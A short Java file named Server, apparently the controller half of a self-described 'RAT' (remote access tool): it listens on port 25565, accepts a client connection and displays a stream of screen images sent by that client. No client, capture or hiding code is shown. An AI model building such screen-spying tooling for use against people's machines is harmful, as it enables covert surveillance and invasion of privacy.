Server

import java.awt.Graphics;
import java.awt.image.BufferedImage;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.net.ServerSocket;
import java.net.Socket;

import javax.imageio.ImageIO;
import javax.swing.JFrame;

@SuppressWarnings("serial")
public class Server extends JFrame {

	private BufferedImage image;
	private BufferedImage oldImage;

	public Server() {
		setTitle("RAT");
		setResizable(false);
		setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
	}

	public static void main(String[] args) throws IOException {
		try {
			Server server = new Server();

			ServerSocket serverSocket = new ServerSocket(25565);
			Socket clientSocket = serverSocket.accept();
			System.out.println("Connection accepted!");

			ObjectInputStream in = new ObjectInputStream(clientSocket.getInputStream());
			int width = in.readShort();
			int height = in.readShort();
			server.setSize(width, height);
			server.setVisible(true);

			while (true) {
				server.oldImage = ImageIO.read(in);
				if(server.oldImage != null) {
					server.image = server.oldImage;
				}
				server.repaint();

			}
		} catch (IOException e) {
			System.err.println("Accept failed.");
			System.exit(1);
		}
	}

	public void paint(Graphics g) {
		g.drawImage(image, 0, 0, this);
	}
}